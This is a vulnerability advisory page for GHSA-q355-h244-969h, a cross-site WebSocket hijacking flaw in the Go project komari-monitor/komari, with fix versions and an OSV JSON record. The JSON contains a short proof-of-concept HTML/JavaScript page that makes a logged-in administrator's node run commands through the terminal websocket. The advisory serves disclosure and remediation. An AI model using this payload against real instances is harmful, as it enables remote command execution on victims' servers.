GHSA-q355-h244-969h: Github.com/komari monitor/komari Komari Vulnerable To Cross-site WebSocket Vulnerability
HIGHGHSA-q355-h244-969h is a HIGH komari vulnerable to cross-site websocket vulnerability (CWE-1385: Missing Origin Validation in WebSockets) affecting Github.com/komari monitor/komari libraries in the Go ecosystem. The issue involves komari vulnerable to cross-site websocket hijacking. Remediation is available by upgrading affected packages to version 0.0.0-20250809073044-53171affcaf0.
GHSA-q355-h244-969h at a Glance
How to Fix GHSA-q355-h244-969h
To remediate this vulnerability, upgrade all affected Github.com/komari monitor/komari dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/komari-monitor/komari to 0.0.0-20250809073044-53171affcaf0Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/komari-monitor/komariHow to Check if You Are Affected
To determine whether your application is affected by GHSA-q355-h244-969h, inspect your project dependencies for Github.com/komari monitor/komari:
inspect dependencies for github.com/komari-monitor/komariAnalyze the terminal output to locate any version of Github.com/komari monitor/komari in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20250809073044-53171affcaf0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1385: Missing Origin Validation in WebSockets, where the product uses a websocket, but it does not properly verify that the source of data or communication is valid. In Github.com/komari monitor/komari, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-q355-h244-969h Affected Github.com/komari monitor/komari Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/komari-monitor/komari
|
Go |
< 0.0.0-20250809073044-53171affcaf0
|
0.0.0-20250809073044-53171affcaf0
|
References
Frequently Asked Questions
What is GHSA-q355-h244-969h?
Which Github.com/komari monitor/komari versions are affected?
What version fixes GHSA-q355-h244-969h?
Is github.com/komari-monitor/komari affected?
What CWE is associated with GHSA-q355-h244-969h?
How can I check Go dependencies for GHSA-q355-h244-969h?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q355-h244-969h",
"modified" : "2025-08-12T00:13:29Z",
"published" : "2025-08-12T00:13:28Z",
"aliases" : [ ],
"summary" : "Komari vulnerable to Cross-site WebSocket Hijacking",
"details" : "### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n<pre></pre>\n<script>\nconst socket = new WebSocket(\"wss://<komari-addr>/api/admin/client/<target-uuid>/terminal\");\nsocket.addEventListener(\"open\", (event) => {\n const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) => {\n event.data.text().then(x => {document.querySelector(\"pre\").append(x)});\n});\n</script>\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/komari-monitor/komari"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20250809073044-53171affcaf0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"
}, {
"type" : "WEB",
"url" : "https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/komari-monitor/komari"
}, {
"type" : "WEB",
"url" : "https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35"
}, {
"type" : "WEB",
"url" : "https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1385" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-12T00:13:28Z",
"nvd_published_at" : null
}
}